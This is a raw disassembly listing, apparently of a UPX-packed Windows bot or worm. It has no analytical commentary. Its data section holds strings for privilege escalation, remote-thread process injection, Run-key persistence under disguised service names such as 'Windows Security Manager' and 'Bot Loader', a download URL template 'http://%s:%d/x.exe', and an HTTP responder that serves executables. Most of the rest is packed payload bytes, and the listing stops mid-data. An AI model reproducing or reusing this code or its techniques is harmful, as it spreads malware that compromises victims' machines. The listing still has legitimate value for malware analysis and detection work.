sub_314319BC+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_31434C98: ; DATA XREF: sub_314319BC+44Ao jmp short loc_31434CA0 ; --------------------------------------------------------------------------- jmp short loc_31434CA2 ; --------------------------------------------------------------------------- align 10h loc_31434CA0: ; CODE XREF: UPX0:loc_31434C98j ; DATA XREF: sub_314319BC+5Co pop esp pop esp loc_31434CA2: ; CODE XREF: UPX0:31434C9Aj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_31434CAC dd 1CEC8166h dword_31434CB0 dd 0E4FF07h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31431F23+62o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31431F23+39o align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31431F23+2Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31431F23+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31431F23+8o ; sub_3143256D+13Ao align 4 aUterm192 db 'uterm19-2',0 ; DATA XREF: sub_31431FAB:loc_31432090o align 4 aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_31431FAB+58o align 4 aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_31431FAB:loc_31431FF2o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_31431FAB+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_31431FAB+18o align 4 dword_31434D64 dd 0E9F3F5h aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31432239+106o db 0Dh,0Ah db 0Dh,0Ah,0 align 10h aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_31432239+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31432239+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 aGet db 'GET',0 ; DATA XREF: sub_31432239+3Do aUterm20 db 'uterm20',0 ; DATA XREF: UPX0:3143250Co ; sub_3143256D+148o aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:314324F7o align 10h aUser32 db 'user32',0 ; DATA XREF: sub_3143256D+141o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_3143256D+133o align 10h aWininet db 'wininet',0 ; DATA XREF: sub_3143256D+12Co aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_3143256D+11Fo align 10h aU20x db 'u20x',0 ; DATA XREF: sub_3143256D+CBo align 4 aU20 db 'u20',0 ; DATA XREF: sub_3143256D+C4o aU19 db 'u19',0 ; DATA XREF: sub_3143256D+BDo aU18 db 'u18',0 ; DATA XREF: sub_3143256D+B6o aU17 db 'u17',0 ; DATA XREF: sub_3143256D+AFo aU16 db 'u16',0 ; DATA XREF: sub_3143256D+A8o aU15 db 'u15',0 ; DATA XREF: sub_3143256D+A1o aU14 db 'u14',0 ; DATA XREF: sub_3143256D+9Ao aU13i db 'u13i',0 ; DATA XREF: sub_3143256D+93o align 4 aU13 db 'u13',0 ; DATA XREF: sub_3143256D+8Co aU12 db 'u12',0 ; DATA XREF: sub_3143256D+85o aU11 db 'u11',0 ; DATA XREF: sub_3143256D+7Eo aU10 db 'u10',0 ; DATA XREF: sub_3143256D+77o aU9 db 'u9',0 ; DATA XREF: sub_3143256D+70o align 10h aU8 db 'u8',0 ; DATA XREF: sub_3143256D+69o align 4 aU19x db 'u19x',0 ; DATA XREF: sub_3143256D+62o align 4 aU18x db 'u18x',0 ; DATA XREF: sub_3143256D+5Bo align 4 aU17x db 'u17x',0 ; DATA XREF: sub_3143256D+54o align 4 aU16x db 'u16x',0 ; DATA XREF: sub_3143256D+4Do align 4 aU15x db 'u15x',0 ; DATA XREF: sub_3143256D+46o align 4 aU14x db 'u14x',0 ; DATA XREF: sub_3143256D+3Fo align 4 aU13x db 'u13x',0 ; DATA XREF: sub_3143256D+38o align 4 aU12x db 'u12x',0 ; DATA XREF: sub_3143256D+31o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_3143256D+2Ao align 4 aU10x db 'u10x',0 ; DATA XREF: sub_3143256D+23o align 4 aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_314328D7+2Do align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_3143237F+23o ; sub_31432BAD+66o ... align 4 aCryptographicS db 'Cryptographic Service',0 ; DATA XREF: sub_3143237F+1Co ; sub_31432C62+87o ... align 10h aFgnsdrjyrsert db 'fgnsdrjyrsert',0 ; DATA XREF: sub_31431782+4Fo ; sub_31432D2E+57o ... align 10h dd 2 dup(0) aSoftwareMicr_1 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_31432D2E+32o aClient db 'Client',0 ; DATA XREF: sub_31432D2E+BCo ; sub_31432D2E+F8o align 4 aId db 'ID',0 ; DATA XREF: sub_31432D2E+37o ; sub_31432D2E+75o align 10h aWindowsUpdate db 'Windows Update',0 ; DATA XREF: sub_31432BAD+55o align 10h aMsConfigV13 db 'MS Config v13',0 ; DATA XREF: sub_31432BAD+4Eo align 10h aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_31432BAD+47o align 4 aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_31432BAD+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_31432BAD+39o align 10h aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_31432BAD+32o align 4 aSystray db 'SysTray',0 ; DATA XREF: sub_31432BAD+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_31432BAD+24o align 10h aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_31432BAD+1Do align 4 aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_31432BAD+16o align 4 aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_31432BAD+Fo align 4 a1: ; DATA XREF: sub_31432D2E+B7o unicode 0, <1>,0 dd 7 dup(0) dword_31435028 dd 0 ; sub_3143237F+80w dword_3143502C dd 0 ; sub_3143185D+53o ... dword_31435030 dd 0 ; sub_31432239:loc_314322E7r ... dword_31435034 dd 70h ; UPX0:31432517w ... dword_31435038 dd 0 ; sub_3143256D+DCw dword_3143503C dd 0 ; sub_314328D7+20r dword_31435040 dd 31430000h ; UPX0:314324FCw dword_31435044 dd 0 ; sub_3143185D+4Ao ... dword_31435048 dd 0 ; UPX0:31432974w ... dword_3143504C dd 0 ; sub_31432728+41r ... dword_31435050 dd 0 ; sub_31432D2E+110w align 1000h UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31436000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31436000 dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h ; DATA XREF: UPX1:31437C81o dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h dd 70637274h, 1004179h, 61657243h, 76456574h, 41746E65h dd 61570100h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h dd 44010074h, 74656C65h, 6C694665h, 1004165h, 4C746547h dd 45747361h, 726F7272h, 72570100h, 46657469h, 656C69h dd 6F6C4301h, 61486573h, 656C646Eh, 72430100h, 65746165h dd 656C6946h, 6C010041h, 6C727473h, 416E65h, 74736C01h dd 74616372h, 47010041h, 79537465h, 6D657473h, 65726944h dd 726F7463h, 1004179h, 65746E49h, 636F6C72h, 4564656Bh dd 61686378h, 65676Eh, 74654701h, 61636F4Ch, 6E49656Ch dd 416F66h, 656C5301h, 1007065h, 7274736Ch, 6E797063h dd 47010041h, 75437465h, 6E657272h, 6F725074h, 73736563h dd 65470100h, 6F725074h, 64644163h, 73736572h, 6F4C0100h dd 694C6461h, 72617262h, 1004179h, 74697257h, 6F725065h dd 73736563h, 6F6D654Dh, 1007972h, 6E65704Fh, 636F7250h dd 737365h, 74654701h, 75646F4Dh, 6148656Ch, 656C646Eh dd 47010041h, 69547465h, 6F436B63h, 746E75h, 65724301h dd 4D657461h, 78657475h, 43010041h, 74616572h, 72685465h dd 646165h, 65724301h, 50657461h, 65636F72h, 417373h, 74655301h dd 6E657645h, 4F010074h, 456E6570h, 746E6576h, 45010041h dd 54746978h, 61657268h, 49010064h, 7265746Eh, 6B636F6Ch dd 6E496465h, 6D657263h, 746E65h, 61655201h, 6C694664h dd 47010065h, 69467465h, 6953656Ch, 100657Ah, 74697845h dd 636F7250h, 737365h, 0D100h, 0 dd 65520100h, 65724367h, 4B657461h, 78457965h, 52010041h dd 65536765h, 6C615674h, 78456575h, 52010041h, 75516765h dd 56797265h, 65756C61h, 417845h, 67655201h, 6E65704Fh dd 4579654Bh, 1004178h, 44676552h, 74656C65h, 6C615665h dd 416575h, 67655201h, 736F6C43h, 79654B65h, 62410100h dd 5374726Fh, 65747379h, 7568536Dh, 776F6474h, 100416Eh dd 70797243h, 65724374h, 48657461h, 687361h, 79724301h dd 61487470h, 61446873h, 1006174h, 70797243h, 72655674h dd 53796669h, 616E6769h, 65727574h, 43010041h, 74707972h dd 74736544h, 48796F72h, 687361h, 79724301h, 65447470h dd 6F727473h, 79654B79h, 72430100h, 52747079h, 61656C65h dd 6F436573h, 7865746Eh, 43010074h, 74707972h, 75716341h dd 43657269h, 65746E6Fh, 417478h, 79724301h, 6D497470h dd 74726F70h, 79654Bh, 0DE00h, 0EC00h, 72730100h, 646E61h dd 6D656D01h, 797063h, 72747301h, 6E656Ch, 6D656D01h, 746573h dd 6E617201h, 5F010064h, 65637865h, 685F7470h, 6C646E61h dd 337265h, 72747301h, 727473h, 6F746101h, 73010069h, 68637274h dd 0E9000072h, 14000000h, 1000001h, 646E6946h, 646E6957h dd 41776Fh, 74654701h, 65726F46h, 756F7267h, 6957646Eh dd 776F646Eh, 65470100h, 6E695774h, 54776F64h, 61657268h dd 6F725064h, 73736563h, 1006449h, 72707377h, 66746E69h dd 0F4000041h, 28000000h, 1000001h, 65746E49h, 74656E72h dd 6E65704Fh, 416C7255h, 6E490100h, 6E726574h, 704F7465h dd 416E65h, 746E4901h, 656E7265h, 6F6C4374h, 61486573h dd 656C646Eh, 6E490100h, 6E726574h, 65477465h, 6E6F4374h dd 7463656Eh, 74536465h, 657461h, 746E4901h, 656E7265h dd 61655274h, 6C694664h, 65h, 40000001h, 0FF000001h, 2FF0073h dd 0DFF00h, 0FF0001FFh, 6FFF0039h, 34FF00h, 0FF0017FFh dd 9FF000Ch, 4FF00h, 0FF0013FFh, 16FF0010h, 3FF00h, 0 dd 455000h, 2014C00h, 0E07ED200h, 40h, 0 dd 0F00E000h, 6010B01h, 280000h, 120000h, 0 dd 24EF00h, 100000h, 400000h, 43000000h, 100031h, 20000h dd 400h, 0 dd 400h, 0 dd 600000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 2F0400h, 8C00h, 14h dup(0) dd 100000h, 18000h, 6 dup(0) dd 65742E00h, 7478h, 263200h, 100000h, 280000h, 40000h dd 3 dup(0) dd 4002000h, 61642EE0h, 6174h, 105400h, 400000h, 120000h dd 2C0000h, 3 dup(0) dd 4000h, 5000C0h, 311000h, 54C900h, 57965900h, 6849FAFAh dd 0B7000E29h, 844F4CCFh, 0A2623FE0h, 0DC24106Ah, 0DED1BA53h dd 44810B66h, 5F0DC766h, 0B73BD68h, 0E4D6E6CDh, 0DE196664h dd 164C2621h, 0FC5644DEh, 31E07589h, 51B36968h, 3EA2E2Eh dd 0C8BF9C37h, 0E89C3A7h, 6CD8E087h, 770D7C13h, 0A8433716h dd 18D3B345h, 9B6BDB07h, 0F88C0D0Bh, 49190640h, 73F27046h dd 6A9821CDh, 4634332Eh, 17273C8h, 37E0DE64h, 3010CCDFh dd 8C0F4608h, 0D0BD8027h, 740B89E5h, 0C5803126h, 43089D01h dd 0D0EECD70h, 0BC3C0007h, 115690F0h, 0B66061EEh, 0AA425F0Ch dd 0C1FF15Ch, 11784396h, 0C9EC0CB3h, 9705C87Ch, 0F8786E0Ah dd 894BE6A1h, 25620546h, 0DA46568h, 0AEC28B6Dh, 92A2043Bh dd 3CF01Ch, 27BE83Bh, 100BC86Ah, 4824A32Eh, 86024A19h dd 0A0CF6043h, 2163390h, 0B9AEBB03h, 0A73D7D95h, 769F6801h dd 664A48E6h, 3A21B736h, 1B5AB7CCh, 3DB9A4E0h, 6A7684E4h dd 96F42A70h, 364719B4h, 5EC86007h, 7A97640Ah, 39F0D92Eh dd 0A2280084h, 3C4B283Fh, 0CDCB59B2h, 98B9B26Ch, 23BDEBE2h dd 0DC0167A7h, 0C77E500Fh, 0BE1F218Dh, 0AC68F60Eh, 0D328C00Dh dd 0C676E6C9h, 0E57A08A1h, 0DB0C7A04h, 0C8611488h, 2DC54C20h dd 6C84BF34h, 2EDB1CD6h, 0B698DE40h, 4192FC84h, 40BCDE44h dd 0C27190D6h, 1BDE5044h, 593B1E10h, 94B7336Fh, 8121970Dh dd 67E9ACF9h, 0E87CFEEBh, 1624A580h, 68250600h, 259D1C52h dd 1CF25B07h, 96F41276h, 0A19DE9C3h, 4F0CEF1Bh, 7BC87C6Ah dd 64B1E3C3h, 0C9BE4934h, 991DD27Bh, 90E154E4h, 0B42DE924h dd 48B9B999h, 0EDCF7881h, 0C80A5848h, 0CF88286h, 6633F415h dd 2665846h, 7808747Ah, 41BA9D5Fh, 5FF4C65Eh, 7D1C0F8Ah dd 9C1369E0h, 0AC204D0Ch, 0C0A8357Fh, 5F68683h, 572448F8h dd 565FC937h, 5A7457D8h, 74F80E14h, 0B8C8684Bh, 0CA8950BAh dd 0E83D7496h, 4B4B3F6Ch, 0A44120C9h, 0FFC55FFh, 0F6B9ADE8h dd 50E4B92Ch, 0E9628ACh, 0CCDA6AD9h, 0F81B02F0h, 0E48C0009h dd 81DB40ACh, 42F47558h, 29C587EEh, 8B181F13h, 6701400Dh dd 0BFEEFFB6h, 3C418B2Fh, 68C10357h, 488B9758h, 50788B34h dd 0A0F44D89h, 8D759CB8h, 1BDBD84Bh, 0BEF09153h, 0B002F0ACh dd 4751EB01h, 0ED74EC12h, 1AC55A0Ch, 0D7240Dh, 9300CA82h dd 18090E6Dh, 0B22ECDEh, 0F84DAFDFh, 1C185051h, 412A6897h dd 8958D8ABh, 60FE5DB4h, 0CAD2C68Bh, 1C346B03h, 0B7680630h dd 59AB1976h, 0BE7DF055h, 135BAB62h, 0F03E45E6h, 0DC50EF51h dd 34EC5F13h, 34A110B0h, 0FFFAD6BDh, 172783C4h, 5577D06Ah dd 74C73BECh, 805F8C78h, 1BEB1605h, 684D1868h, 3959E010h dd 0E5CC857h, 8D405FCh, 0F8041D74h, 0FC58EFA2h, 4251511Dh dd 2F0DC32Bh, 69310F60h, 41B60D10h, 0BC258964h, 22B1AFDDh dd 138575D6h, 590FECB2h, 5D33DB2Dh, 6AF9C267h, 803CC0B6h dd 624EE90Ch, 50A85089h, 0C42C507Dh, 0AC297488h, 8020195Dh dd 0B3F8B55Bh, 7C8B5743h, 57D21424h, 67FFF7Eh, 1A87178Bh dd 8861C280h, 3B461E14h, 80E97CF7h, 0E030E036h, 4A003B24h dd 86444954h, 2EDB78CEh, 57AC5A5Fh, 2166DB56h, 303A5DCh dd 0F0DC732Fh, 25B81950h, 648D62h, 0E377ACAAh, 954D04F0h dd 49F408C8h, 0DBA32668h, 0F00CFADAh, 3408C7FFh, 0DA65B27Bh dd 2E2ACC34h, 0A0A7550h, 666B5CE8h, 1A20BC54h, 0B7ED5818h dd 7C64F85h, 13B7FB8h, 0C408B14h, 2C01008Bh, 86F8E76h dd 24448D51h, 1134215Fh, 9A7C2D3h, 245903DBh, 0BBD01507h dd 7743A19Eh, 2FCC2007h, 3233E433h, 0F8C83FDBh, 8510E7C1h dd 0A05B60Bh, 200CD86h, 0CF125D8Bh, 1C0BABECh, 7FC20099h dd 7B55C653h, 139E2416h, 0C0934521h, 25AAECF0h, 6E5D868h dd 5B4ECF20h, 17B5ADE7h, 675641F0h, 35953336h, 0A33D986Ch dd 8CC6EC66h, 503044B7h, 0B370FE47h, 4D80C581h, 0EBDA14A5h dd 54B3174Eh, 0A134007Ch, 37FBAE33h, 7900B9F0h, 0C13BC72Bh dd 0C18B0272h, 0FC292BE1h, 0A1DDBDDDh, 0C7031828h, 1374AC23h dd 1172233Dh, 4678516Ah, 40F8784Bh, 0EC13C4EBh, 0E1B462D9h dd 0D8117750h, 0DC9A941Eh, 68159E4Dh, 68030B68h, 9B6B3A64h dd 3A3C97C5h, 8F535453h, 52CC7D18h, 9824D483h, 0C423347Dh dd 30DE04C2h, 4FB2F457h, 0B1B1087Dh, 0E868C3D0h, 168EE4Eh dd 0B8BAAFDEh, 89FF6806h, 0ED04841Dh, 0D4244BA9h, 539100F2h dd 9886937Bh, 3A01026Dh, 1CD680A6h, 0FD775A8Dh, 0E741A4Dh dd 2F6946CFh, 0CA3E0CDh, 0ACEF4BC2h, 0A4FEA365h, 565153FCh dd 635B3A5Bh, 68DC3A86h, 87DF2656h, 5EF9119Bh, 10C25C19h dd 1B4D424Ch, 56C05E05h, 9DFD0C4Bh, 89E8D2F4h, 50DEC5Dh dd 1FFF25FFh, 0BEEC1BFDh, 0A3C33A04h, 0E774433Ch, 84CC8A1Fh dd 50DF74C9h, 937ABE3h, 5F42EA6Bh, 4C85A544h, 646530B7h dd 0B97B480Ch, 5F7D35FBh, 1FD814F8h, 68B1114Ch, 0D9C22239h dd 9111D5Bh, 53E2EB62h, 0CC455FCFh, 4384B982h, 0B6700190h dd 0AE3AF759h, 0D6B03340h, 36023E11h, 0E687A60Fh, 0B8803AD6h dd 3044E468h, 0A3AB1B63h, 7C74E040h, 4AB27633h, 34A37B69h dd 767B781Ah, 0B73D6182h, 29E44552h, 43041F0Fh, 1BB37D9Ch dd 682A1DA9h, 0A713256Dh, 13ED7ED1h, 1586EB0Dh, 35699969h dd 0AC188438h, 397044C6h, 4B104D40h, 0D290E409h, 3372396Ch dd 88454ADCh, 8C06EF9Ch, 238C9094h, 941C8E47h, 9C7C9884h dd 0E472A074h, 0A46C91C8h, 0AC5CA864h, 1C8E4754h, 0B450B039h dd 0BC48B84Ch, 91C8E444h, 0C440C023h, 8E34C83Ch, 0CC72391Ch dd 0D42CD030h, 0C724D828h, 0DC472391h, 0E41CE020h, 76CD9018h dd 9C10C780h, 0A36CE145h, 7ADB72F1h, 2FCBEECh, 730A8384h dd 0B806ED12h, 4F8442B4h, 59B8885h, 9B0CFF59h, 0EBD9C870h dd 0B00E1AE8h, 0E0F91A6Ah, 95391A17h, 8683974h, 32ACB94Eh dd 45936C72h, 0F8064E00h, 21760C4Dh, 0A8F07261h, 49BF140Ah dd 79B7676Eh, 0EF15237Fh, 0F1185D0Ah, 33C822E0h, 559C5029h dd 0D747E90Fh, 18B4146Dh, 0AA138806h, 1412E3EBh, 17A7049Eh dd 0DBA3BD23h, 63123818h, 7FA48071h, 8FD5BDh, 458A4FBBh dd 0FF77530Bh, 83DBDB32h, 3A518701h, 5D3831D9h, 0E93125DBh dd 5D88E291h, 0B8099D0Bh, 80CF1559h, 4CB72CDFh, 0F1F7D233h dd 0FE9BD103h, 0CB65EBC3h, 0FFFB80F8h, 60C6BD72h, 1C0F5674h dd 7A303876h, 41586667h, 4F870ADBh, 40A7F05h, 3B6B3618h dd 9A0B0918h, 17692573h, 0F758BECh, 37272804h, 0AC01D0C8h dd 8147822Bh, 6CE27695h, 4C9FA16Ah, 7A595D5Eh, 2CD74CAEh dd 0F0A26472h, 7832DB7Ch, 0FD720A2Eh, 35F8FF04h, 0FEF42Fh dd 0F7887F3Ch, 0B18BB06Ah, 4D8B6C3h, 0A9DCFD3Bh, 0EC04A23Eh dd 579F6764h, 9B572F9Dh, 4B3DB21Ch, 1359F8E0h, 4A36FF8Ah dd 0B2C54ADCh, 68FCEE75h, 0C8EC3C27h, 0BDD3A21Ah, 70849ED3h dd 1C180961h, 4C5AA537h, 52AD630h, 508FCC4Fh, 18B6BD78h dd 0FC68BAE3h, 67B7C156h, 0B3C443Eh, 0A468B003h, 0DCB71E4Eh dd 11104580h, 6842E231h, 12F7D70h, 0B80C613h, 0C0B343DFh dd 5579BB02h, 8E579756h, 663C344h, 4D1DE6BCh, 30E26CA4h dd 0FD1F0C43h, 53146CF4h, 483776CDh, 20BF66Bh, 4838506Ah dd 76D9A65Dh, 0D005C7DFh, 1974F896h, 9D01480Bh, 0BDDCCE60h dd 141A055Eh dd 0E103D851h, 1806DE27h, 0C9FB81D3h, 0D6530D74h, 0B6844203h dd 1D1053C7h, 0DB04C3Bh, 1824C37Dh, 0ED85ED3Ch, 10B1117Eh dd 0EED82C28h, 144DEDB0h, 0A40598EFh, 200DF2EBh, 75324B74h dd 6DDEB65h, 0EB45C0B0h, 27D53F68h, 60B11BA2h, 0B5150C64h dd 43A5106Fh, 14083BE8h, 6CD7513Bh, 18D4C859h, 18430856h dd 31883EF6h, 3D566C2Eh, 0A52ADC74h, 4DE702DBh, 2050DF61h dd 4E05B110h, 3081896h, 6B0F5EB6h, 557E2CD1h, 0FAEDC68Bh dd 6764C82Eh, 532C56ADh, 67005556h, 270C422Dh, 0C520A31h dd 2C81C931h, 0C45D0C04h, 0BB679061h, 0E0530128h, 0F40B89FBh dd 8E3D4E2Dh, 1E3C4094h, 1F10365Ch, 794E7A1Ch, 0F8E510F7h dd 0EB778B64h, 687AA239h, 17D86635h, 0B13B3Bh, 2005C710h dd 0A24F7789h, 7DF21E99h, 1E748D47h, 0BD02609Bh, 0AE48FCA2h dd 0FE8194DCh, 0B5FF1C2Ah, 0FFF51EFh, 0E6CCCD1Fh, 60085282h dd 0D5CCE50h, 76EC4687h, 3CB787BDh, 89D0D036h, 0B457E273h dd 23914FECh, 6D846C7h, 0B4D8C0D4h, 0C8E47239h, 0A0E0ACDCh dd 7CE888E4h, 1C8E4730h, 50F060ECh, 45F340F4h, 86B764D3h dd 0BE70BF0Bh, 8B858E85h, 188B8A05h, 0A0406C49h, 8357C491h dd 0F4D50E17h, 1D101B05h, 8340F10Bh, 326A8452h, 0A775BFAFh dd 4D84628Ah, 74767830h, 5D74B409h, 653FA8CCh, 0A5636A88h dd 0FE0B84C8h, 28A19C09h, 8303E083h, 866305C0h, 5BD3CAA3h dd 51CFC42Ah, 10B9186Eh, 661C3D1Eh, 0D6CE9DEEh, 3F140E26h dd 3D9A0497h, 0D56150E8h, 1425A00Bh, 0CD4B4D21h, 0D2415662h dd 7D09E592h, 19419836h, 0C401F454h, 2E987A04h, 0AB8BE407h dd 0B408B9F6h, 481FC523h, 436839C7h, 2565140Ch, 84102550h dd 0E04DBFDDh, 0BF501D6Ah, 3C4C4F18h, 0C1D0514Fh, 743F81EAh dd 0BB0A3D37h, 32BD758Ah, 53D942B3h, 60D8B3F4h, 53BC4906h dd 0BDB3383Dh, 0EBB17EE6h, 32CE590Fh, 65B068B6h, 0E227A0C1h dd 0D12A0E65h, 58C22638h, 0D9B9DA18h, 0BB4634B2h, 5E1C0DB9h dd 0EB05066h, 57125E1Eh, 964EC6F0h, 0C6314CEEh, 0B6413BBBh dd 2CFD90CCh, 90B650B6h, 480718B7h, 6015EB0Ch, 2D1880E5h dd 0AF2509CDh, 5D32BA1Eh, 44330C69h, 0EC5B3D5Ch, 6A7E6883h dd 0CC401113h, 84D0A99Bh, 311BFF00h, 661DF805h, 0F4109E46h dd 0BE511FF0h, 0B048D56Fh, 1472048Dh, 2D0BE981h, 0FD8FEDF5h dd 17018504h, 0C82BEC73h, 8B0CC48Bh, 0D8088BE1h, 0FF6ED6C8h dd 435C5004h, 4055C64h, 58D8D800h, 0A3000049h, 420900A8h dd 6C5D2FCh, 5224F102h, 80314153h, 0FFFFFFC8h, 0F50101DDh dd 7911838Dh, 0E42AEC52h, 49E7F63Ah, 0BEE0EA9Bh, 7EDB21AFh dd 5E1A9544h, 0FFFFFFE8h, 85A03261h, 949F6A1Fh, 843994FFh dd 358F26A6h, 0A55C1DCEh, 7AB20BC9h, 0FF307265h, 377FFFFFh dd 697A6F4Dh, 2F616C6Ch, 20302E34h, 6D6F6328h, 69746170h dd 3B656C62h, 49534D20h, 0ED6FFFF7h, 15362045h, 6E695709h dd 73776F64h, 20544E20h, 29312E35h, 2EECF734h, 0C7E445h dd 0C40104D4h, 0F7DF0EB4h, 90A0CF3Ch, 68047480h, 0CF3D580Eh dd 48097CF3h, 30D4743Ch, 9364DF3Ch, 10222045h, 0B600304Ah dd 0F8F90DFFh, 76631340h, 75722E76h, 0D8DB777Eh, 700D6F6h dd 976C6465h, 0C1660F65h, 0EDFFCA65h, 616573FDh, 0E686372h dd 626F721Fh, 6863786Fh, 6F676E61h, 0D2E6EDFFh, 0C74651Fh dd 622E6472h, 61007A69h, 6B686328h, 91B61762h, 740C6D61h dd 24782D06h, 0E6EDB6CDh, 6F6C0600h, 6B37620Eh, 0FBDBF647h dd 27626B6h, 76742E7Ah, 6F74111Bh, 176E2E70h, 30B60215h dd 27730F69h, 3FC2E33h, 0F788DB6h, 6C756461h, 4B652D74h dd 6DDB7269h, 3380CDFBh, 73A66E6Fh, 622E744Eh, 2B01F767h dd 67694F7Ch, 77780032h, 0FECE2C61h, 626AED6Dh, 9B00AD62h dd 6166617Ah, 221F2EA8h, 655DDBE1h, 61AF5C23h, 0F1646362h dd 65FFDBB7h, 69686766h, 6D6C6B6Ah, 7271C56Eh, 777675F7h dd 0FF7A7978h, 54BFFFF2h, 44434241h, 48474645h, 4C4B4A49h dd 504F4E4Dh, 56555451h, 5A595857h, 1B9BFBF8h, 49642563h dd 6F530044h, 5C9E7466h, 706C694Dh, 0F90656BBh, 0DA575C0Dh dd 0FE007374h, 4774E30Fh, 74684F31h, 2F3A7074h, 0C273252Fh dd 0BC0EE6Fh, 2EC3912Fh, 3F706870h, 0EDF9ED3Ah, 260F3DDBh dd 66E6373h, 6E692664h, 0F3B7666h, 3DF6EC76h, 13263032h dd 0EB373D74h, 32313958h, 0BF87B237h, 3101D06Bh, 3030383Ah dd 0DF07652Fh, 80FFFF00h, 5DDF1030h, 0B966C933h, 758D01EEh dd 8AFE8B05h, 6FFFE206h, 7993CDBh, 302C0646h, 88993446h dd 0EDE24707h, 0DAE80AEBh, 0B46FF7FEh, 676507DFh, 9993712Eh dd 0FD1201C9h, 16FD91BDh, 0DFFFEFF7h, 6872C107h, 66FD42AAh dd 0BA10FDAAh, 98A91C14h, 98F3C91Ah, 0FFB308F1h, 2865BB1h dd 9010C071h, 9237CB5Fh, 781C9659h, 0F93ED3Ah, 57E414FBh dd 3A0A7D71h, 9DF34571h, 9D2304F1h, 989BEFBh, 119C04F1h dd 0EF67B340h, 0F3FD8EEDh, 1C10F0E3h, 59B20BDCh, 25C99B60h dd 3D8F9601h, 414D9F6h, 71CA17A1h, 688D2B9Eh, 0EDAD9161h dd 1A4637B3h, 111D960Ah, 0C850B228h, 6D9FED00h, 0DC14996Fh dd 12255557h, 91C0A44Eh, 0FD994912h, 0EDDEDFECh, 140054F7h dd 0CBCA3AC4h, 0FF1C3B71h, 6C21E424h, 1ADD87B3h, 8FCDCDCFh dd 3F812C66h, 0FBB66F1Eh, 0B8B0FB9Fh, 12CDC383h, 0CBC9A85Dh dd 7F64251Dh, 24AD9DB2h, 0A6485A0Bh, 0B314C096h, 1BC9FECBh dd 0EBA7294Ch, 0E9BA9CF3h, 0D9FFF716h, 26F434F7h, 0EFCF571h dd 0EF133BF9h, 376B4629h, 4766DE5Fh, 766FFFEFh, 16A0A8ECh dd 0FFC5B701h, 0E9ECE9EDh, 0E1FCB7FDh, 0FBBFD2Ch, 0F5CA0161h dd 0F25AFCFCh, 0FCF7EBFCh, 0FFABAAF5h, 0D6BFFFE5h, 0AAF934C7h dd 2A25B459h, 0ACC9662Ah, 0B7819093h, 83639D90h, 9271CDC9h dd 67F0BEECh, 3519BF30h, 95D91451h, 2A91720Ah, 0FFFBC871h dd 0D2EB20FFh, 80D512A5h, 0AA529AE1h, 2A8D146Fh, 12B9C89Ah dd 474A9A8Bh, 46FEDFFFh, 9BAB9EEBh, 20A319DBh, 0DDA26CECh dd 9EED85BDh, 81E8A2DFh, 0FDBFFFCDh, 125544EBh, 961FBDC8h dd 12EB8D2Eh, 5A9A85D8h, 9A099D12h, 0BBF8105Ah, 960B09FFh dd 664922D0h, 12FEFD7Fh, 0C25AA987h, 6EDB4095h, 1285026Fh dd 5A910482h, 9CFF7CBh, 0A767F9B9h, 4D53FF85h, 53187242h dd 0F4BFFFC8h, 62FEFFCFh, 43500200h, 575445ABh, 204B524Fh dd 474F5250h, 0ED624152h, 204DE35Bh, 4C17CD31h, 24D4E41h dd 0EB52B70Ah, 3D66D390h, 676B03DFh, 4BB696EBh, 0E707587h dd 